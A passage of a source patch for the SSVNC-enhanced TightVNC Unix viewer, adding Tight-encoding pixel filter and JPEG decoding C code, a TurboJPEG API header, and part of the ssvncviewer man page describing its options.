-+ RGB24_TO_PIXEL32(uncompressedData[(y*rectWidth+x)*3],
-+ uncompressedData[(y*rectWidth+x)*3+1],
-+ uncompressedData[(y*rectWidth+x)*3+2]);
-+ }
-+ }
-+ return;
-+ }
-+#endif
-+
-+ for (y = 0; y < numRows; y++)
-+ memcpy (&dst[y*dstw], &uncompressedData[y*rectWidth], rectWidth * (BPP / 8));
-+}
-+
-+static int
-+InitFilterGradientBPP (int rw, int rh)
-+{
-+ int bits;
-+
-+ bits = InitFilterCopyBPP(rw, rh);
-+ if (cutZeros)
-+ memset(tightPrevRow, 0, rw * 3);
-+ else
-+ memset(tightPrevRow, 0, rw * 3 * sizeof(CARD16));
-+
-+ return bits;
-+}
-+
-+#if BPP == 32
-+
-+static void
-+FilterGradient24 (int srcx, int srcy, int numRows)
-+{
-+ CARDBPP *dst = (CARDBPP *)&image->data[srcy * image->bytes_per_line
-+ + srcx * image->bits_per_pixel/8];
-+ int dstw = image->bytes_per_line / (image->bits_per_pixel / 8);
-+ int x, y, c;
-+ CARD8 thisRow[2048*3];
-+ CARD8 pix[3];
-+ int est[3];
-+
-+ if (appData.useBGR233) {
-+ dst = (CARDBPP *)buffer;
-+ dstw = rectWidth;
-+ }
-+
-+ for (y = 0; y < numRows; y++) {
-+
-+ /* First pixel in a row */
-+ for (c = 0; c < 3; c++) {
-+ pix[c] = tightPrevRow[c] + uncompressedData[y*rectWidth*3+c];
-+ thisRow[c] = pix[c];
-+ }
-+ dst[y*dstw] = RGB24_TO_PIXEL32(pix[0], pix[1], pix[2]);
-+
-+ /* Remaining pixels of a row */
-+ for (x = 1; x < rectWidth; x++) {
-+ for (c = 0; c < 3; c++) {
-+ est[c] = (int)tightPrevRow[x*3+c] + (int)pix[c] -
-+ (int)tightPrevRow[(x-1)*3+c];
-+ if (est[c] > 0xFF) {
-+ est[c] = 0xFF;
-+ } else if (est[c] < 0x00) {
-+ est[c] = 0x00;
-+ }
-+ pix[c] = (CARD8)est[c] + buffer[(y*rectWidth+x)*3+c];
-+ thisRow[x*3+c] = pix[c];
-+ }
-+ dst[y*dstw+x] = RGB24_TO_PIXEL32(pix[0], pix[1], pix[2]);
-+ }
-+
-+ memcpy(tightPrevRow, thisRow, rectWidth * 3);
-+ }
-+}
-+
-+#endif
-+
-+static void
-+FilterGradientBPP (int srcx, int srcy, int numRows)
-+{
-+ int x, y, c;
-+ CARDBPP *dst = (CARDBPP *)&image->data[srcy * image->bytes_per_line
-+ + srcx * image->bits_per_pixel/8];
-+ int dstw = image->bytes_per_line / (image->bits_per_pixel / 8);
-+ CARDBPP *src = (CARDBPP *)uncompressedData;
-+ CARD16 *thatRow = (CARD16 *)tightPrevRow;
-+ CARD16 thisRow[2048*3];
-+ CARD16 pix[3];
-+ CARD16 max[3];
-+ int shift[3];
-+ int est[3];
-+
-+ if (appData.useBGR233) {
-+ dst = (CARDBPP *)buffer;
-+ dstw = rectWidth;
-+ }
-+
-+#if BPP == 32
-+ if (cutZeros) {
-+ FilterGradient24(srcx, srcy, numRows);
-+ return;
-+ }
-+#endif
-+
-+ max[0] = myFormat.redMax;
-+ max[1] = myFormat.greenMax;
-+ max[2] = myFormat.blueMax;
-+
-+ shift[0] = myFormat.redShift;
-+ shift[1] = myFormat.greenShift;
-+ shift[2] = myFormat.blueShift;
-+
-+ for (y = 0; y < numRows; y++) {
-+
-+ /* First pixel in a row */
-+ for (c = 0; c < 3; c++) {
-+ pix[c] = (CARD16)((src[y*rectWidth] >> shift[c]) + thatRow[c] & max[c]);
-+ thisRow[c] = pix[c];
-+ }
-+ dst[y*dstw] = RGB_TO_PIXEL(BPP, pix[0], pix[1], pix[2]);
-+
-+ /* Remaining pixels of a row */
-+ for (x = 1; x < rectWidth; x++) {
-+ for (c = 0; c < 3; c++) {
-+ est[c] = (int)thatRow[x*3+c] + (int)pix[c] - (int)thatRow[(x-1)*3+c];
-+ if (est[c] > (int)max[c]) {
-+ est[c] = (int)max[c];
-+ } else if (est[c] < 0) {
-+ est[c] = 0;
-+ }
-+ pix[c] = (CARD16)((src[y*rectWidth+x] >> shift[c]) + est[c] & max[c]);
-+ thisRow[x*3+c] = pix[c];
-+ }
-+ dst[y*dstw+x] = RGB_TO_PIXEL(BPP, pix[0], pix[1], pix[2]);
-+ }
-+ memcpy(thatRow, thisRow, rectWidth * 3 * sizeof(CARD16));
-+ }
-+}
-+
-+static int
-+InitFilterPaletteBPP (int rw, int rh)
-+{
-+ int i;
-+ CARD8 numColors;
-+ CARDBPP *palette = (CARDBPP *)tightPalette;
-+
-+ rectWidth = rw;
-+
-+ if (!ReadFromRFBServer((char*)&numColors, 1))
-+ return 0;
-+
-+ rectColors = (int)numColors;
-+ if (++rectColors < 2)
-+ return 0;
-+
-+#if BPP == 32
-+ if (myFormat.depth == 24 && myFormat.redMax == 0xFF &&
-+ myFormat.greenMax == 0xFF && myFormat.blueMax == 0xFF) {
-+ if (!ReadFromRFBServer((char*)&tightPalette, rectColors * 3))
-+ return 0;
-+ for (i = rectColors - 1; i >= 0; i--) {
-+ palette[i] = RGB24_TO_PIXEL32(tightPalette[i*3],
-+ tightPalette[i*3+1],
-+ tightPalette[i*3+2]);
-+ }
-+ return (rectColors == 2) ? 1 : 8;
-+ }
-+#endif
-+
-+ if (!ReadFromRFBServer((char*)&tightPalette, rectColors * (BPP / 8)))
-+ return 0;
-+
-+ return (rectColors == 2) ? 1 : 8;
-+}
-+
-+static void
-+FilterPaletteBPP (int srcx, int srcy, int numRows)
-+{
-+ int x, y, b, w;
-+ CARDBPP *dst = (CARDBPP *)&image->data[srcy * image->bytes_per_line
-+ + srcx * image->bits_per_pixel/8];
-+ int dstw = image->bytes_per_line / (image->bits_per_pixel / 8);
-+ CARD8 *src = (CARD8 *)uncompressedData;
-+ CARDBPP *palette = (CARDBPP *)tightPalette;
-+
-+ if (appData.useBGR233) {
-+ dst = (CARDBPP *)buffer;
-+ dstw = rectWidth;
-+ }
-+
-+ if (rectColors == 2) {
-+ w = (rectWidth + 7) / 8;
-+ for (y = 0; y < numRows; y++) {
-+ for (x = 0; x < rectWidth / 8; x++) {
-+ for (b = 7; b >= 0; b--)
-+ dst[y*dstw+x*8+7-b] = palette[src[y*w+x] >> b & 1];
-+ }
-+ for (b = 7; b >= 8 - rectWidth % 8; b--) {
-+ dst[y*dstw+x*8+7-b] = palette[src[y*w+x] >> b & 1];
-+ }
-+ }
-+ } else {
-+ for (y = 0; y < numRows; y++)
-+ for (x = 0; x < rectWidth; x++)
-+ dst[y*dstw+x] = palette[(int)src[y*rectWidth+x]];
-+ }
-+}
-+
-+#if BPP != 8
-+
-+/*----------------------------------------------------------------------------
-+ *
-+ * JPEG decompression.
-+ *
-+ */
-+
-+/*
-+ The following variables are defined in rfbproto.c:
-+ static Bool jpegError;
-+ static struct jpeg_source_mgr jpegSrcManager;
-+ static JOCTET *jpegBufferPtr;
-+ static size_t *jpegBufferLen;
-+*/
-+
-+static Bool
-+DecompressJpegRectBPP(int x, int y, int w, int h)
-+{
-+ int compressedLen;
-+ char *dstptr;
-+ int ps, flags=0;
-+
-+ compressedLen = (int)ReadCompactLen();
-+ if (compressedLen <= 0) {
-+ fprintf(stderr, "Incorrect data received from the server.\n");
-+ return False;
-+ }
-+
-+ compressedData = (char *)realloc(compressedData, compressedLen);
-+ if (compressedData == NULL) {
-+ fprintf(stderr, "Memory allocation error.\n");
-+ return False;
-+ }
-+
-+ if (!ReadFromRFBServer(compressedData, compressedLen)) {
-+ return False;
-+ }
-+
-+ if(!tjhnd) {
-+ if((tjhnd=tjInitDecompress())==NULL) {
-+ fprintf(stderr, "TurboJPEG error: %s\n", tjGetErrorStr());
-+ return False;
-+ }
-+ }
-+
-+ ps=image->bits_per_pixel/8;
-+ if(myFormat.bigEndian && ps==4) flags|=TJ_ALPHAFIRST;
-+ if(myFormat.redShift==16 && myFormat.blueShift==0)
-+ flags|=TJ_BGR;
-+ if(myFormat.bigEndian) flags^=TJ_BGR;
-+
-+ dstptr=&image->data[image->bytes_per_line*y+x*ps];
-+ if(tjDecompress(tjhnd, (unsigned char *)compressedData, (unsigned long)compressedLen,
-+ (unsigned char *)dstptr, w, image->bytes_per_line, h, ps, flags)==-1) {
-+ fprintf(stderr, "TurboJPEG error: %s\n", tjGetErrorStr());
-+ return False;
-+ }
-+
-+ if (!appData.doubleBuffer)
-+ CopyImageToScreen(x, y, w, h);
-+
-+ return True;
-+}
-+
-+#endif
-+
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/turbovnc/turbojpeg.h vnc_unixsrc/vncviewer/turbovnc/turbojpeg.h
---- vnc_unixsrc.orig/vncviewer/turbovnc/turbojpeg.h 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/turbovnc/turbojpeg.h 2008-04-03 04:28:56.000000000 -0400
-@@ -0,0 +1,229 @@
-+/* Copyright (C)2004 Landmark Graphics
-+ * Copyright (C)2005, 2006 Sun Microsystems, Inc.
-+ *
-+ * This library is free software and may be redistributed and/or modified under
-+ * the terms of the wxWindows Library License, Version 3.1 or (at your option)
-+ * any later version. The full license is in the LICENSE.txt file included
-+ * with this distribution.
-+ *
-+ * This library is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ * wxWindows Library License for more details.
-+ */
-+
-+#if (defined(_MSC_VER) || defined(__CYGWIN__) || defined(__MINGW32__)) && defined(_WIN32) && defined(DLLDEFINE)
-+#define DLLEXPORT __declspec(dllexport)
-+#else
-+#define DLLEXPORT
-+#endif
-+
-+#define DLLCALL
-+
-+/* Subsampling */
-+#define NUMSUBOPT 4
-+
-+enum {TJ_444=0, TJ_422, TJ_411, TJ_GRAYSCALE};
-+
-+/* Flags */
-+#define TJ_BGR 1
-+#define TJ_BOTTOMUP 2
-+#define TJ_FORCEMMX 8 /* Force IPP to use MMX code even if SSE available */
-+#define TJ_FORCESSE 16 /* Force IPP to use SSE1 code even if SSE2 available */
-+#define TJ_FORCESSE2 32 /* Force IPP to use SSE2 code (useful if auto-detect is not working properly) */
-+#define TJ_ALPHAFIRST 64 /* BGR buffer is ABGR and RGB buffer is ARGB */
-+#define TJ_FORCESSE3 128 /* Force IPP to use SSE3 code (useful if auto-detect is not working properly) */
-+
-+typedef void* tjhandle;
-+
-+#define TJPAD(p) (((p)+3)&(~3))
-+#ifndef max
-+ #define max(a,b) ((a)>(b)?(a):(b))
-+#endif
-+
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-+
-+/* API follows */
-+
-+
-+/*
-+ tjhandle tjInitCompress(void)
-+
-+ Creates a new JPEG compressor instance, allocates memory for the structures,
-+ and returns a handle to the instance. Most applications will only
-+ need to call this once at the beginning of the program or once for each
-+ concurrent thread. Don't try to create a new instance every time you
-+ compress an image, because this will cause performance to suffer.
-+
-+ RETURNS: NULL on error
-+*/
-+DLLEXPORT tjhandle DLLCALL tjInitCompress(void);
-+
-+
-+/*
-+ int tjCompress(tjhandle j,
-+ unsigned char *srcbuf, int width, int pitch, int height, int pixelsize,
-+ unsigned char *dstbuf, unsigned long *size,
-+ int jpegsubsamp, int jpegqual, int flags)
-+
-+ [INPUT] j = instance handle previously returned from a call to
-+ tjInitCompress()
-+ [INPUT] srcbuf = pointer to user-allocated image buffer containing pixels in
-+ RGB(A) or BGR(A) form
-+ [INPUT] width = width (in pixels) of the source image
-+ [INPUT] pitch = bytes per line of the source image (width*pixelsize if the
-+ bitmap is unpadded, else TJPAD(width*pixelsize) if each line of the bitmap
-+ is padded to the nearest 32-bit boundary, such as is the case for Windows
-+ bitmaps. You can also be clever and use this parameter to skip lines, etc.,
-+ as long as the pitch is greater than 0.)
-+ [INPUT] height = height (in pixels) of the source image
-+ [INPUT] pixelsize = size (in bytes) of each pixel in the source image
-+ RGBA and BGRA: 4, RGB and BGR: 3
-+ [INPUT] dstbuf = pointer to user-allocated image buffer which will receive
-+ the JPEG image. Use the macro TJBUFSIZE(width, height) to determine
-+ the appropriate size for this buffer based on the image width and height.
-+ [OUTPUT] size = pointer to unsigned long which receives the size (in bytes)
-+ of the compressed image
-+ [INPUT] jpegsubsamp = Specifies either 4:1:1, 4:2:2, or 4:4:4 subsampling.
-+ When the image is converted from the RGB to YCbCr colorspace as part of the
-+ JPEG compression process, every other Cb and Cr (chrominance) pixel can be
-+ discarded to produce a smaller image with little perceptible loss of
-+ image clarity (the human eye is more sensitive to small changes in
-+ brightness than small changes in color.)
-+
-+ TJ_411: 4:1:1 subsampling. Discards every other Cb, Cr pixel in both
-+ horizontal and vertical directions.
-+ TJ_422: 4:2:2 subsampling. Discards every other Cb, Cr pixel only in
-+ the horizontal direction.
-+ TJ_444: no subsampling.
-+ TJ_GRAYSCALE: Generate grayscale JPEG image
-+
-+ [INPUT] jpegqual = JPEG quality (an integer between 0 and 100 inclusive.)
-+ [INPUT] flags = the bitwise OR of one or more of the following
-+
-+ TJ_BGR: The components of each pixel in the source image are stored in
-+ B,G,R order, not R,G,B
-+ TJ_BOTTOMUP: The source image is stored in bottom-up (Windows) order,
-+ not top-down
-+ TJ_FORCEMMX: Valid only for the Intel Performance Primitives implementation
-+ of this codec-- force IPP to use MMX code (bypass CPU auto-detection)
-+ TJ_FORCESSE: Valid only for the Intel Performance Primitives implementation
-+ of this codec-- force IPP to use SSE code (bypass CPU auto-detection)
-+ TJ_FORCESSE2: Valid only for the Intel Performance Primitives implementation
-+ of this codec-- force IPP to use SSE2 code (bypass CPU auto-detection)
-+ TJ_FORCESSE3: Valid only for the Intel Performance Primitives implementation
-+ of this codec-- force IPP to use SSE3 code (bypass CPU auto-detection)
-+
-+ RETURNS: 0 on success, -1 on error
-+*/
-+DLLEXPORT int DLLCALL tjCompress(tjhandle j,
-+ unsigned char *srcbuf, int width, int pitch, int height, int pixelsize,
-+ unsigned char *dstbuf, unsigned long *size,
-+ int jpegsubsamp, int jpegqual, int flags);
-+
-+DLLEXPORT unsigned long DLLCALL TJBUFSIZE(int width, int height);
-+
-+/*
-+ tjhandle tjInitDecompress(void)
-+
-+ Creates a new JPEG decompressor instance, allocates memory for the
-+ structures, and returns a handle to the instance. Most applications will
-+ only need to call this once at the beginning of the program or once for each
-+ concurrent thread. Don't try to create a new instance every time you
-+ decompress an image, because this will cause performance to suffer.
-+
-+ RETURNS: NULL on error
-+*/
-+DLLEXPORT tjhandle DLLCALL tjInitDecompress(void);
-+
-+
-+/*
-+ int tjDecompressHeader(tjhandle j,
-+ unsigned char *srcbuf, unsigned long size,
-+ int *width, int *height)
-+
-+ [INPUT] j = instance handle previously returned from a call to
-+ tjInitDecompress()
-+ [INPUT] srcbuf = pointer to a user-allocated buffer containing the JPEG image
-+ to decompress
-+ [INPUT] size = size of the JPEG image buffer (in bytes)
-+ [OUTPUT] width = width (in pixels) of the JPEG image
-+ [OUTPUT] height = height (in pixels) of the JPEG image
-+
-+ RETURNS: 0 on success, -1 on error
-+*/
-+DLLEXPORT int DLLCALL tjDecompressHeader(tjhandle j,
-+ unsigned char *srcbuf, unsigned long size,
-+ int *width, int *height);
-+
-+
-+/*
-+ int tjDecompress(tjhandle j,
-+ unsigned char *srcbuf, unsigned long size,
-+ unsigned char *dstbuf, int width, int pitch, int height, int pixelsize,
-+ int flags)
-+
-+ [INPUT] j = instance handle previously returned from a call to
-+ tjInitDecompress()
-+ [INPUT] srcbuf = pointer to a user-allocated buffer containing the JPEG image
-+ to decompress
-+ [INPUT] size = size of the JPEG image buffer (in bytes)
-+ [INPUT] dstbuf = pointer to user-allocated image buffer which will receive
-+ the bitmap image. This buffer should normally be pitch*height
-+ bytes in size, although this pointer may also be used to decompress into
-+ a specific region of a larger buffer.
-+ [INPUT] width = width (in pixels) of the destination image
-+ [INPUT] pitch = bytes per line of the destination image (width*pixelsize if the
-+ bitmap is unpadded, else TJPAD(width*pixelsize) if each line of the bitmap
-+ is padded to the nearest 32-bit boundary, such as is the case for Windows
-+ bitmaps. You can also be clever and use this parameter to skip lines, etc.,
-+ as long as the pitch is greater than 0.)
-+ [INPUT] height = height (in pixels) of the destination image
-+ [INPUT] pixelsize = size (in bytes) of each pixel in the destination image
-+ RGBA/RGBx and BGRA/BGRx: 4, RGB and BGR: 3
-+ [INPUT] flags = the bitwise OR of one or more of the following
-+
-+ TJ_BGR: The components of each pixel in the destination image should be
-+ written in B,G,R order, not R,G,B
-+ TJ_BOTTOMUP: The destination image should be stored in bottom-up
-+ (Windows) order, not top-down
-+ TJ_FORCEMMX: Valid only for the Intel Performance Primitives implementation
-+ of this codec-- force IPP to use MMX code (bypass CPU auto-detection)
-+ TJ_FORCESSE: Valid only for the Intel Performance Primitives implementation
-+ of this codec-- force IPP to use SSE code (bypass CPU auto-detection)
-+ TJ_FORCESSE2: Valid only for the Intel Performance Primitives implementation
-+ of this codec-- force IPP to use SSE2 code (bypass CPU auto-detection)
-+
-+ RETURNS: 0 on success, -1 on error
-+*/
-+DLLEXPORT int DLLCALL tjDecompress(tjhandle j,
-+ unsigned char *srcbuf, unsigned long size,
-+ unsigned char *dstbuf, int width, int pitch, int height, int pixelsize,
-+ int flags);
-+
-+
-+/*
-+ int tjDestroy(tjhandle h)
-+
-+ Frees structures associated with a compression or decompression instance
-+
-+ [INPUT] h = instance handle (returned from a previous call to
-+ tjInitCompress() or tjInitDecompress()
-+
-+ RETURNS: 0 on success, -1 on error
-+*/
-+DLLEXPORT int DLLCALL tjDestroy(tjhandle h);
-+
-+
-+/*
-+ char *tjGetErrorStr(void)
-+
-+ Returns a descriptive error message explaining why the last command failed
-+*/
-+DLLEXPORT char* DLLCALL tjGetErrorStr(void);
-+
-+#ifdef __cplusplus
-+}
-+#endif
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/vncviewer._man vnc_unixsrc/vncviewer/vncviewer._man
---- vnc_unixsrc.orig/vncviewer/vncviewer._man 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/vncviewer._man 2010-04-11 23:30:24.000000000 -0400
-@@ -0,0 +1,829 @@
-+'\" t
-+.\" ** The above line should force tbl to be a preprocessor **
-+.\" Man page for X vncviewer
-+.\"
-+.\" Copyright (C) 1998 Marcus.Brinkmann@ruhr-uni-bochum.de
-+.\" Copyright (C) 2000,2001 Red Hat, Inc.
-+.\" Copyright (C) 2001-2003 Constantin Kaplinsky <const@ce.cctpu.edu.ru>
-+.\" Copyright (C) 2006-2010 Karl J. Runge <runge@karlrunge.com>
-+.\"
-+.\" You may distribute under the terms of the GNU General Public
-+.\" License as specified in the file LICENCE.TXT that comes with the
-+.\" TightVNC distribution.
-+.\"
-+.TH ssvncviewer 1 "April 2010" "" "SSVNC"
-+.SH NAME
-+ssvncviewer \- an X viewer client for VNC
-+.SH SYNOPSIS
-+.B ssvncviewer
-+.RI [\| options \|]
-+.RI [\| host \|][\| :display \|]
-+.br
-+.B ssvncviewer
-+.RI [\| options \|]
-+.RI [\| host \|][\| ::port \|]
-+.br
-+.B ssvncviewer
-+.RI [\| options \|]
-+.RI exec=[\| cmd+args... \|]
-+.br
-+.B ssvncviewer
-+.RI [\| options \|]
-+.RI fd=n
-+.br
-+.B ssvncviewer
-+.RI [\| options \|]
-+.RI /path/to/unix/socket
-+.br
-+.B ssvncviewer
-+.RI [\| options \|]
-+.IR \-listen
-+.RI [\| display \|]
-+.br
-+.B ssvncviewer
-+.IR \-help
-+.br
-+.SH DESCRIPTION
-+.B ssvncviewer
-+is an Xt\-based client application for the VNC (Virtual Network
-+Computing) system. It can connect to any VNC\-compatible server such
-+as \fBXvnc\fR, WinVNC, or \fBx11vnc\fR, allowing you to control desktop environment
-+of a different machine.
-+
-+ssvncviewer is an enhanced version of the tightvnc unix viewer that can
-+take advantage of features in the \fBx11vnc\fR and UltraVNC VNC servers.
-+See below for the description of these features.
-+
-+You can use F8 to display a pop\-up utility menu. Press F8 twice to
-+pass single F8 to the remote side.
-+.SH OPTIONS
-+.TP
-+\fB\-help\fR
-+Prints a short usage notice to stderr.
-+.TP
-+\fB\-listen\fR
-+Make the viewer listen on port 5500+\fIdisplay\fR for reverse
-+connections from a server. WinVNC supports reverse connections using
-+the "Add New Client" menu option, or the \-connect command line
-+option. \fBXvnc\fR requires the use of the helper program
-+\fBvncconnect\fR.
-+.TP
-+\fB\-via\fR \fIgateway\fR
-+Automatically create encrypted TCP tunnel to the \fIgateway\fR machine
-+before connection, connect to the \fIhost\fR through that tunnel
-+(TightVNC\-specific). By default, this option invokes SSH local port
-+forwarding, assuming that SSH client binary can be accessed as
-+/usr/bin/ssh. Note that when using the \fB\-via\fR option, the host
-+machine name should be specified as known to the gateway machine, e.g.
-+"localhost" denotes the \fIgateway\fR, not the machine where vncviewer
-+was launched. See the ENVIRONMENT section below for the information on
-+configuring the \fB\-via\fR option.
-+.TP
-+\fB\-shared\fR
-+When connecting, specify that a shared connection is requested. In
-+TightVNC, this is the default mode, allowing you to share the desktop
-+with other clients already using it.
-+.TP
-+\fB\-noshared\fR
-+When connecting, specify that the session may not be shared. This
-+would either disconnect other connected clients or refuse your
-+connection, depending on the server configuration.
-+.TP
-+\fB\-viewonly\fR
-+Disable transfer of mouse and keyboard events from the client to the
-+server.
-+.TP
-+\fB\-fullscreen\fR
-+Start in full\-screen mode. Please be aware that operating in
-+full\-screen mode may confuse X window managers. Typically, such
-+conflicts cause incorrect handling of input focus or make the viewer
-+window disappear mysteriously. See the grabKeyboard setting in the
-+RESOURCES section below for a method to solve input focus problem.
-+.TP
-+\fB\-noraiseonbeep\fR
-+By default, the viewer shows and raises its window on remote beep
-+(bell) event. This option disables such behaviour
-+(TightVNC\-specific).
-+.TP
-+\fB\-user\fR \fIusername\fR
-+User name for Unix login authentication. Default is to use current
-+Unix user name. If this option was given, the viewer will prefer Unix
-+login authentication over the standard VNC authentication.
-+.TP
-+\fB\-passwd\fR \fIpasswd\-file\fR
-+File from which to get the password (as generated by the
-+\fBvncpasswd\fR(1) program). This option affects only the standard VNC
-+authentication.
-+.TP
-+\fB\-encodings\fR \fIencoding\-list\fR
-+TightVNC supports several different compression methods to encode
-+screen updates; this option specifies a set of them to use in order of
-+preference. Encodings are specified separated with spaces, and must
-+thus be enclosed in quotes if more than one is specified. Commas may be used to avoid spaces.
-+Available encodings, in default order for a remote connection, are
-+"copyrect tight hextile zlib corre rre raw". For a local connection
-+(to the same machine), the default order to try is "raw copyrect tight
-+hextile zlib corre rre". Raw encoding is always assumed as a last option
-+if no other encoding can be used for some reason. For more information
-+on encodings, see the section ENCODINGS below.
-+.TP
-+\fB\-bgr233\fR
-+Always use the BGR233 format to encode pixel data. This reduces
-+network traffic, but colors may be represented inaccurately. The
-+bgr233 format is an 8\-bit "true color" format, with 2 bits blue, 3
-+bits green, and 3 bits red.
-+.TP
-+\fB\-owncmap\fR
-+Try to use a PseudoColor visual and a private colormap. This allows
-+the VNC server to control the colormap.
-+.TP
-+\fB\-truecolour\fR, \fB\-truecolor\fR
-+Try to use a TrueColor visual.
-+.TP
-+\fB\-depth\fR \fIdepth\fR
-+On an X server which supports multiple TrueColor visuals of different
-+depths, attempt to use the specified one (in bits per pixel); if
-+successful, this depth will be requested from the VNC server.
-+.TP
-+\fB\-compresslevel \fIlevel\fR
-+Use specified compression \fIlevel\fR (0..9) for "tight" and "zlib"
-+encodings (TightVNC\-specific). Level 1 uses minimum of CPU time and
-+achieves weak compression ratios, while level 9 offers best
-+compression but is slow in terms of CPU time consumption on the server
-+side. Use high levels with very slow network connections, and low
-+levels when working over high\-speed LANs. It's not recommended to use
-+compression level 0, reasonable choices start from the level 1.
-+.TP
-+\fB\-quality \fIlevel\fR
-+Use the specified JPEG quality \fIlevel\fR (0..9) for the "tight"
-+encoding (TightVNC\-specific). Quality level 0 denotes bad image
-+quality but very impressive compression ratios, while level 9 offers
-+very good image quality at lower compression ratios. Note that the
-+"tight" encoder uses JPEG to encode only those screen areas that look
-+suitable for lossy compression, so quality level 0 does not always
-+mean unacceptable image quality.
-+.TP
-+\fB\-nojpeg\fR
-+Disable lossy JPEG compression in Tight encoding (TightVNC\-specific).
-+Disabling JPEG compression is not a good idea in typical cases, as
-+that makes the Tight encoder less efficient. You might want to use
-+this option if it's absolutely necessary to achieve perfect image
-+quality (see also the \fB\-quality\fR option).
-+.TP
-+\fB\-nocursorshape\fR
-+Disable cursor shape updates, protocol extensions used to handle
-+remote cursor movements locally on the client side
-+(TightVNC\-specific). Using cursor shape updates decreases delays with
-+remote cursor movements, and can improve bandwidth usage dramatically.
-+.TP
-+\fB\-x11cursor\fR
-+Use a real X11 cursor with X-style cursor shape updates, instead of
-+drawing the remote cursor on the framebuffer. This option also
-+disables the dot cursor, and disables cursor position updates in
-+non-fullscreen mode.
-+.TP
-+\fB\-autopass\fR
-+Read a plain-text password from stdin. This option affects only the
-+standard VNC authentication.
-+
-+.SH Enhanced TightVNC Viewer (SSVNC) OPTIONS
-+.TP
-+Enhanced TightVNC Viewer (SSVNC) web page is located at:
-+.TP
-+http://www.karlrunge.com/x11vnc/ssvnc.html
-+.TP
-+Note: ZRLE and ZYWRLE encodings are now supported.
-+.TP
-+Note: F9 is shortcut to Toggle FullScreen mode.
-+.TP
-+Note: In -listen mode set the env var. SSVNC_MULTIPLE_LISTEN=1
-+to allow more than one incoming VNC server at a time.
-+This is the same as -multilisten described below. Set
-+SSVNC_MULTIPLE_LISTEN=MAX:n to allow no more than "n"
-+simultaneous reverse connections.
-+
-+If the host:port is specified as "exec=command args..."
-+then instead of making a TCP/IP socket connection to the
-+remote VNC server, "command args..." is executed and the
-+viewer is attached to its stdio. This enables tunnelling
-+established via an external command, e.g. an stunnel(8)
-+that does not involve a listening socket.
-+This mode does not work for -listen reverse connections.
-+
-+If the host:port is specified as "fd=n" then it is assumed
-+n is an already opened file descriptor to the socket. (i.e
-+the parent did fork+exec)
-+
-+If the host:port contains a '/' it is interpreted as a
-+unix-domain socket (AF_LOCAL insead of AF_INET)
-+.TP
-+\fB\-multilisten\fR
-+As in -listen (reverse connection listening) except
-+allow more than one incoming VNC server to be connected
-+at a time. The default for -listen of only one at a
-+time tries to play it safe by not allowing anyone on
-+the network to put (many) desktops on your screen over
-+a long window of time. Use -multilisten for no limit.
-+.TP
-+\fB\-acceptpopup\fR
-+In \fB\-listen\fR (reverse connection listening) mode when
-+a reverse VNC connection comes in show a popup asking
-+whether to Accept or Reject the connection. The IP
-+address of the connecting host is shown. Same as
-+setting the env. var. SSVNC_ACCEPT_POPUP=1.
-+.TP
-+\fB\-acceptpopupsc\fR
-+As in \fB\-acceptpopup\fR except assume UltraVNC Single
-+Click (SC) server. Retrieve User and ComputerName
-+info from UltraVNC Server and display in the Popup.
-+.TP
-+\fB\-use64\fR
-+In \fB\-bgr233\fR mode, use 64 colors instead of 256.
-+.TP
-+\fB\-bgr222\fR
-+Same as \fB\-use64\fR.
-+.TP
-+\fB\-use8\fR
-+In \fB\-bgr233\fR mode, use 8 colors instead of 256.
-+.TP
-+\fB\-bgr111\fR
-+Same as \fB\-use8\fR.
-+.TP
-+\fB\-16bpp\fR
-+If the vnc viewer X display is depth 24 at 32bpp
-+request a 16bpp format from the VNC server to cut
-+network traffic by up to 2X, then tranlate the
-+pixels to 32bpp locally.
-+.TP
-+\fB\-bgr565\fR
-+Same as \fB\-16bpp\fR.
-+.TP
-+\fB\-grey\fR
-+Use a grey scale for the 16- and 8\fB\-bpp\fR modes.
-+.TP
-+\fB\-alpha\fR
-+Use alphablending transparency for local cursors
-+requires: x11vnc server, both client and server
-+must be 32bpp and same endianness.
-+.TP
-+\fB\-scale\fR \fIstr\fR
-+Scale the desktop locally. The string "str" can
-+a floating point ratio, e.g. "0.9", or a fraction,
-+e.g. "3/4", or WxH, e.g. 1280x1024. Use "fit"
-+to fit in the current screen size. Use "auto" to
-+fit in the window size. "str" can also be set by
-+the env. var. SSVNC_SCALE.
-+
-+If you observe mouse trail painting errors, enable
-+X11 Cursor mode (either via Popup or \fB\-x11cursor\fR.)
-+
-+Note that scaling is done in software and so can be
-+slow and requires more memory. Some speedup Tips:
-+
-+ZRLE is faster than Tight in this mode. When
-+scaling is first detected, the encoding will
-+be automatically switched to ZRLE. Use the
-+Popup menu if you want to go back to Tight.
-+Set SSVNC_PRESERVE_ENCODING=1 to disable this.
-+
-+Use a solid background on the remote side.
-+(e.g. manually or via x11vnc \fB\-solid\fR ...)
-+
-+If the remote server is x11vnc, try client
-+side caching: x11vnc \fB\-ncache\fR 10 ...
-+.TP
-+\fB\-ycrop\fR n
-+Only show the top n rows of the framebuffer. For
-+use with x11vnc \fB\-ncache\fR client caching option
-+to help "hide" the pixel cache region.
-+Use a negative value (e.g. \fB\-1\fR) for autodetection.
-+Autodetection will always take place if the remote
-+fb height is more than 2 times the width.
-+.TP
-+\fB\-sbwidth\fR n
-+Scrollbar width for x11vnc \fB\-ncache\fR mode (\fB\-ycrop\fR),
-+default is very narrow: 2 pixels, it is narrow to
-+avoid distraction in \fB\-ycrop\fR mode.
-+.TP
-+\fB\-nobell\fR
-+Disable bell.
-+.TP
-+\fB\-rawlocal\fR
-+Prefer raw encoding for localhost, default is
-+no, i.e. assumes you have a SSH tunnel instead.
-+.TP
-+\fB\-notty\fR
-+Try to avoid using the terminal for interactive
-+responses: use windows for messages and prompting
-+instead. Messages will also be printed to terminal.
-+.TP
-+\fB\-sendclipboard\fR
-+Send the X CLIPBOARD selection (i.e. Ctrl+C,
-+Ctrl+V) instead of the X PRIMARY selection (mouse
-+select and middle button paste.)
-+.TP
-+\fB\-sendalways\fR
-+Whenever the mouse enters the VNC viewer main
-+window, send the selection to the VNC server even if
-+it has not changed. This is like the Xt resource
